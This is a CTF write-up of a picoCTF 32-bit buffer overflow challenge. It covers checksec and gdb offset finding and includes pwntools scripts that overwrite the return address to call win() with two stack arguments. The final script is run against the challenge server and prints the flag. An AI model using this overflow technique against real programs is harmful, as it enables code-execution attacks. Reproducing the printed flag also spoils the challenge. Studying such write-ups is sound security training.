Binary Exploitation
Source: PICOCTF
Basic File Checks
βββ(venv)β(markγΏhaxor)-[~/Desktop/CTF/Pico/bof2]
ββ$ file vuln    
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=1c57f0cbd109ed51024baf11930a5364186c28df, for GNU/Linux 3.2.0, not stripped
                                                                                                        
βββ(venv)β(markγΏhaxor)-[~/Desktop/CTF/Pico/bof2]
ββ$ checksec vuln
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/mark/Desktop/CTF/Pico/bof2/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
So weβre working with a x86 binary. The protection enabled is just NX meaning if we get a buffer overflow we wonβt be able to inject shellcode to the stack and execute it
Source code is given
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}
void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}
int main(int argc, char **argv){
  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Please enter your string: ");
  vuln();
  return 0;
}
So this is also a ret2win chall but this time around we need to pass in 2 arguments before we get the flag
As usual lets get the offset
Iβll use gdb then automate with pwntool
I wonβt explain my process here as iβve severally repeated it in my other chall i wrote about
βββ(venv)β(markγΏhaxor)-[~/Desktop/CTF/Pico/bof2]
ββ$ gdb -q vuln
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.11
Reading symbols from vuln...
(No debugging symbols found in vuln)
gefβ€  disass vuln
Dump of assembler code for function vuln:
   0x08049338 <+0>:     endbr32 
   0x0804933c <+4>:     push   ebp
   0x0804933d <+5>:     mov    ebp,esp
   0x0804933f <+7>:     push   ebx
   0x08049340 <+8>:     sub    esp,0x74
   0x08049343 <+11>:    call   0x80491d0 <__x86.get_pc_thunk.bx>
   0x08049348 <+16>:    add    ebx,0x2cb8
   0x0804934e <+22>:    sub    esp,0xc
   0x08049351 <+25>:    lea    eax,[ebp-0x6c]
   0x08049354 <+28>:    push   eax
   0x08049355 <+29>:    call   0x80490f0 <gets@plt>
   0x0804935a <+34>:    add    esp,0x10
   0x0804935d <+37>:    sub    esp,0xc
   0x08049360 <+40>:    lea    eax,[ebp-0x6c]
   0x08049363 <+43>:    push   eax
   0x08049364 <+44>:    call   0x8049120 <puts@plt>
   0x08049369 <+49>:    add    esp,0x10
   0x0804936c <+52>:    nop
   0x0804936d <+53>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08049370 <+56>:    leave  
   0x08049371 <+57>:    ret    
End of assembler dump.
gefβ€  b *0x08049370
Breakpoint 1 at 0x8049370
gefβ€  r
Starting program: /home/mark/Desktop/CTF/Pico/bof2/vuln 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string: 
pwnerhacker
pwnerhacker
Breakpoint 1, 0x08049370 in vuln ()
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$eax   : 0xc       
$ebx   : 0x804c000  β  0x804bf10  β  <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx   : 0xf7e1e9b8  β  0x00000000
$edx   : 0x1       
$esp   : 0xffffcfc0  β  0xf7e1dda0  β  0xfbad2887
$ebp   : 0xffffd038  β  0xffffd058  β  0x00000000
$esi   : 0x80493f0  β  <__libc_csu_init+0> endbr32 
$edi   : 0xf7ffcb80  β  0x00000000
$eip   : 0x8049370  β  <vuln+56> leave 
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffcfc0β+0x0000: 0xf7e1dda0  β  0xfbad2887    β $esp
0xffffcfc4β+0x0004: 0xf7e1dde7  β  0xe1e9b80a
0xffffcfc8β+0x0008: 0x00000001
0xffffcfccβ+0x000c: "pwnerhacker"
0xffffcfd0β+0x0010: "rhacker"
0xffffcfd4β+0x0014: 0x72656b ("ker"?)
0xffffcfd8β+0x0018: 0xf7c80aa9  β  <__overflow+9> add ebx, 0x19c54b
0xffffcfdcβ+0x001c: 0xf7e1ba40  β  0x00000000
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:32 ββββ
    0x8049369 <vuln+49>        add    esp, 0x10
    0x804936c <vuln+52>        nop    
    0x804936d <vuln+53>        mov    ebx, DWORD PTR [ebp-0x4]
 β  0x8049370 <vuln+56>        leave  
    0x8049371 <vuln+57>        ret    
    0x8049372 <main+0>         endbr32 
    0x8049376 <main+4>         lea    ecx, [esp+0x4]
    0x804937a <main+8>         and    esp, 0xfffffff0
    0x804937d <main+11>        push   DWORD PTR [ecx-0x4]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ
[#0] Id 1, Name: "vuln", stopped 0x8049370 in vuln (), reason: BREAKPOINT
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ
[#0] 0x8049370 β vuln()
[#1] 0x80493dd β main()
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
gefβ€  search-pattern pwnerhacker
[+] Searching 'pwnerhacker' in memory
[+] In '[heap]'(0x804d000-0x806f000), permission=rw-
  0x804d1a0 - 0x804d1ad  β   "pwnerhacker\n" 
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffcfcc - 0xffffcfd7  β   "pwnerhacker" 
gefβ€  i f
Stack level 0, frame at 0xffffd040:
 eip = 0x8049370 in vuln; saved eip = 0x80493dd
 called by frame at 0xffffd070
 Arglist at 0xffffd038, args: 
 Locals at 0xffffd038, Previous frame's sp is 0xffffd040
 Saved registers:
  ebx at 0xffffd034, ebp at 0xffffd038, eip at 0xffffd03c
gefβ€ 
Doing the math we get the offset 0xffffd03c - 0xffffcfcc = 0x70
Now hereβs the script but this time i wonβt pass in any arugment iβll just return to the win function
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)
# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
    # Launch process and send payload
    p = process(exe, level='warn')
    p.sendlineafter(b':', payload)
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    ip_offset = cyclic_find(p.corefile.pc)  # x86
    #ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    warn('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset
# Binary filename
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================
# Pass in pattern_size, get back EIP/RIP offset
offset = 0x70
# Start program
io = start()
padding = "A" * offset
# Build the payload
payload = flat([
    padding,
    elf.functions['win']
    ])
# Send the payload
io.sendlineafter(b':', payload)
# Got Flag?
io.interactive()
On running it nothing really happen
ββ$ python2 exploit.py
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[+] Starting local process './vuln': pid 27937
[DEBUG] Received 0x1b bytes:
    'Please enter your string: \n'
[DEBUG] Sent 0x75 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  βAAAAβAAAAβAAAAβAAAAβ
    *
    00000070  96 92 04 08  0a                                     βΒ·Β·Β·Β·βΒ·β
    00000075
[*] Switching to interactive mode
 
[DEBUG] Received 0x75 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  βAAAAβAAAAβAAAAβAAAAβ
    *
    00000070  96 92 04 08  0a                                     βΒ·Β·Β·Β·βΒ·β
    00000075
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 27937)
[*] Got EOF while reading in interactive
$ 
[DEBUG] Sent 0x1 bytes:
    '\n' * 0x1
[*] Got EOF while sending in interactive
This is because the win function needs to argument to be passed for it to print the flag win(param_1, param2) where param_1 = 0xCAFEF00D and param_2 = 0xF00DF00D
And it does an if check to validate the parameter passed
if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
So now iβll edit the script to pass the 2 arguments and since this is x86 we can just pass it directly to the stack
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)
# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
    # Launch process and send payload
    p = process(exe, level='warn')
    p.sendlineafter(b':', payload)
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    ip_offset = cyclic_find(p.corefile.pc)  # x86
    #ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    warn('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset
# Binary filename
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================
# Pass in pattern_size, get back EIP/RIP offset
offset = 0x70
# Start program
io = start()
padding = "A" * offset
# Build the payload
payload = flat([
    padding,
    elf.functions['win'],
    0x0,  #  Return pointer - try changing to main() and step through with GDB!
    0xCAFEF00D, 
    0xF00DF00D
    ])
write('payload', payload)
# Send the payload
io.sendlineafter(b':', payload)
# Got Flag?
io.interactive()
Running it locally
ββ$ python2 exploit.py
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[+] Starting local process './vuln': pid 33669
[*] Switching to interactive mode
 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04
flag{fake_flag_for_testing}
[*] Got EOF while reading in interactive
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 33669)
[*] Got EOF while sending in interactive
It worked, so iβll run it on the remote server
βββ(venv)β(markγΏhaxor)-[~/Desktop/CTF/Pico/bof2]
ββ$ python2 exploit.py REMOTE saturn.picoctf.net 50844    
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[+] Opening connection to saturn.picoctf.net on port 50844: Done
[*] Switching to interactive mode
 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04
picoCTF{argum3nt5_4_d4yZ_31432deb}
[*] Got EOF while reading in interactive
[*] Interrupted
[*] Closed connection to saturn.picoctf.net port 50844
And weβre done